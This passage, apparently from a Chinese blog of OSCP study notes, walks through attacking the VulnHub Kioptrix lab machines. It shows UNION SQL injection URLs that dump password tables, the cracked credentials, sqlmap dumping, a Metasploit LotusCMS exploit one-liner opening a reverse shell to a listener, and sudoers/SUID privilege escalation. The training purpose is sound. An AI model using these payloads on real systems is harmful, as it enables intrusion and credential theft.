&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,group_concat(concat_ws(&amp;#39;&lt;/span&gt;:&lt;span class="s1"&gt;&amp;#39;,username,password)) ,44,55,66 from gallery.gallarific_users
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;# 回显 admin:n0t7t1k4
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,group_concat(concat_ws(&amp;#39;&lt;/span&gt;:&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;,username,password&lt;span class="o"&gt;))&lt;/span&gt; ,44,55,66 from gallery.dev_accounts
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 回显 dreg:0d3eccfb887aabd50f243b3f155c0f85,loneferret:5badcaf789d3d1d09794d8f021f40f0e&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250208211809257" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208211809257.png"&gt;&lt;img alt="image-20250208211941599" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208211941599.png"&gt;&lt;img alt="image-20250208212031716" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208212031716.png"&gt;&lt;img alt="image-20250208212147363" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208212147363.png"&gt;&lt;img alt="image-20250208212307000" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208212307000.png"&gt;&lt;img alt="image-20250208212617570" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208212617570.png"&gt;
&lt;img alt="image-20250208213037489" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208213037489.png"&gt;
&lt;img alt="image-20250208213058048" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208213058048.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;# 回显 admin:n0t7t1k4
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;# 回显 dreg:0d3eccfb887aabd50f243b3f155c0f85,loneferret:5badcaf789d3d1d09794d8f021f40f0e
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;# 解密后为 https://www.cmd5.com/default.aspx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;admin:n0t7t1k4
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;dreg:Mast3r
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;loneferret:starwars
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250208213318991" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208213318991.png"&gt;
&lt;img alt="image-20250208213359488" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208213359488.png"&gt;&lt;/p&gt;
&lt;p&gt;ssh登录&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ssh -oHostKeyAlgorithms&lt;span class="o"&gt;=&lt;/span&gt;+ssh-rsa admin@192.168.139.131
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;ssh -oHostKeyAlgorithms&lt;span class="o"&gt;=&lt;/span&gt;+ssh-rsa dreg@192.168.139.131
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;ssh -oHostKeyAlgorithms&lt;span class="o"&gt;=&lt;/span&gt;+ssh-rsa loneferret@192.168.139.131
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250208215244026" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208215244026.png"&gt;&lt;img alt="image-20250208215052868" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208215052868.png"&gt;
&lt;img alt="image-20250208215313500" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208215313500.png"&gt;&lt;/p&gt;
&lt;p&gt;除了admin的账户登不上，其他的都可以登录，这里可以又回到之前的用passwd漏洞切换账户。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208215412071" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208215412071.png"&gt;&lt;/p&gt;
&lt;h4 id="suid-提权"&gt;suid 提权
&lt;/h4&gt;&lt;p&gt;也可以用suid方法提权。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;find / -perm -u&lt;span class="o"&gt;=&lt;/span&gt;s -type f 2&amp;gt;/dev/null &lt;span class="c1"&gt;# 发现有sudo 命令&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250208221055434" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208221055434.png"&gt;&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;2025年2月8日 22点27分&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;做到这里一开始怀疑是40839的问题，后来解压了新靶机也不行，推测是靶机文件问题，从官方渠道下载新的。 &lt;a class="link" href="https://download.vulnhub.com/kioptrix/KVM3.rar" target="_blank" rel="noopener"
 &gt;https://download.vulnhub.com/kioptrix/KVM3.rar&lt;/a&gt; 等着下载，然后正好也歇一会&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;2025年2月8日 22点39分&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208230053377.png"&gt;&lt;/p&gt;
&lt;p&gt;按键盘&lt;code&gt;alt+w&lt;/code&gt;唤出选择界面，选择打开&lt;code&gt;/etc/sudoers&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208225735027" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208225735027.png"&gt;&lt;img alt="image-20250208225825647" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208225825647.png"&gt;&lt;/p&gt;
&lt;p&gt;修改添加&lt;code&gt;/bin/sh&lt;/code&gt;使root权限可以再bash中使用。保存退出。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208225606413" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208225606413.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208230053377" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208230053377.png"&gt;&lt;/p&gt;
&lt;h3 id="msf-工具箱-lotuscms-rce"&gt;MSF 工具箱 LotusCMS RCE
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;searchsploit lotuscms
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250208230547497" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208230547497.png"&gt;&lt;/p&gt;
&lt;p&gt;注意OSCP考试只能使用一次MSF工具箱，所以应该掌握多种攻击方法。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208231039381" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208231039381.png"&gt;&lt;/p&gt;
&lt;p&gt;先在2另一个终端开启监听。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; rhosts 192.168.139.132
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; uri /index.php?system&lt;span class="o"&gt;=&lt;/span&gt;Admin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; lhost 192.168.139.128
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; lport &lt;span class="m"&gt;9001&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; payload generic/shell_reverse_tcp
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250208235256674" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208235256674.png"&gt;&lt;/p&gt;
&lt;p&gt;然后再已经开启的9001端口就可以看得到回弹了。也可以把上述msf命令写成一行。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;msfconsole -q -x &lt;span class="s1"&gt;&amp;#39;use exploit/multi/http/lcms_php_exec;set uri /index.php?system=Admin;set rhosts 192.168.139.132;set lhost 192.168.139.128;set lport 9001;set payload generic/shell_reverse_tcp;run&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="phpadmin-漏洞"&gt;phpadmin 漏洞
&lt;/h3&gt;&lt;p&gt;使用LotusCMS漏洞进去后还有个地方进去。在配置文件下有数据库的账号密码。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; gallery
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;cat gconfig.php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$GLOBALS&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;gallarific_mysql_server&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;localhost&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$GLOBALS&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;gallarific_mysql_database&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;gallery&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$GLOBALS&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;gallarific_mysql_username&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;root&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$GLOBALS&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;gallarific_mysql_password&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;fuckeyou&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250208232804725" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208232804725.png"&gt;
&lt;img alt="image-20250208233130584" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208233130584.png"&gt;
&lt;img alt="image-20250208233247825" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208233247825.png"&gt;
&lt;img alt="image-20250208233302038" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208233302038.png"&gt;&lt;img alt="image-20250208233338783" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208233338783.png"&gt;&lt;/p&gt;
&lt;h2 id="kioptrix-level-13-4"&gt;&lt;a class="link" href="https://www.vulnhub.com/entry/kioptrix-level-13-4,25/" target="_blank" rel="noopener"
 &gt;Kioptrix: Level 1.3 (#4)&lt;/a&gt;
&lt;/h2&gt;&lt;p&gt;老样子先看网段。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221161947371" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221161947371.png"&gt;&lt;img alt="image-20250221162038841" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221162038841.png"&gt;&lt;/p&gt;
&lt;p&gt;打开网页看，一个登录入口，弱密码和sql注入试了似乎不行。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221162441938" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221162441938.png"&gt;
&lt;img alt="image-20250221162529901" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221162529901.png"&gt;&lt;/p&gt;
&lt;p&gt;目录扫描发现似乎有敏感文件泄露。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221162558770" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221162558770.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221162731610" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221162731610.png"&gt;&lt;/p&gt;
&lt;p&gt;没有什么发现，重新用&lt;code&gt;dirsearch&lt;/code&gt;扫描试试。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221163717257" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221163717257.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221163608733" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221163608733.png"&gt;&lt;/p&gt;
&lt;p&gt;直接用&lt;code&gt;john/1234&lt;/code&gt;登录index是不行的，但是继续扫描发现有额外的登录页面。试了也不行。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221163826938" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221163826938.png"&gt;&lt;/p&gt;
&lt;p&gt;只有返回登陆界面试试&lt;code&gt;sqlmap&lt;/code&gt;自动注入，尽量别用，下次有别的思路再试试。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sqlmap -r KP4.txt --dump --batch --level &lt;span class="m"&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250221164857841" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221164857841.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;Database: members
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;Table: members
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;[2 entries]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;+----+-----------------------+----------+
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;| id | password | username |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;+----+-----------------------+----------+
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;| 1 | MyNameIsJohn | john |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;| 2 | ADGAdsafdfwt4gadfga== | robert |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;+----+-----------------------+----------+
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250221164942956" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221164942956.png"&gt;&lt;/p&gt;
&lt;p&gt;网页能登录，但是啥也没有，试试ssh登录。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ssh -o &lt;span class="nv"&gt;HostKeyAlgorithms&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;+ssh-rsa john@192.168.139.133
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250221165304177" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221165304177.png"&gt;&lt;/p&gt;
&lt;p&gt;登上去后发现应该是命令受限，只能使用几个命令，whoami都不行。&lt;code&gt;help&lt;/code&gt;发现只能用下面这几个。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221165351239" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221165351239.png"&gt;&lt;/p&gt;
&lt;p&gt;用echo就能逃逸这个终端环境到bash环境，用更多命令。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221165521336" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221165521336.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;find / -name &lt;span class="s2"&gt;&amp;#34;*.php&amp;#34;&lt;/span&gt; 2&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;找一下php文件，刚刚目录扫描出来的文件泄露有php，所以可能有php文件泄露。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221165812243" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221165812243.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221165844204" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221165844204.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221165916389" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221165916389.png"&gt;&lt;/p&gt;
&lt;p&gt;两个php文件内容是一样的，其他的看了也没有特别的发现，这里写了用户名和密码，root，空密码，是mysql的密码。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; mysql -u root -p
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250221170148188" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221170148188.png"&gt;&lt;/p&gt;
&lt;p&gt;然后再在mysql里面用udf提权，老演员了。&lt;/p&gt;
&lt;h3 id="udf提权方法1-手动哈希注入"&gt;UDF提权方法1-手动哈希注入
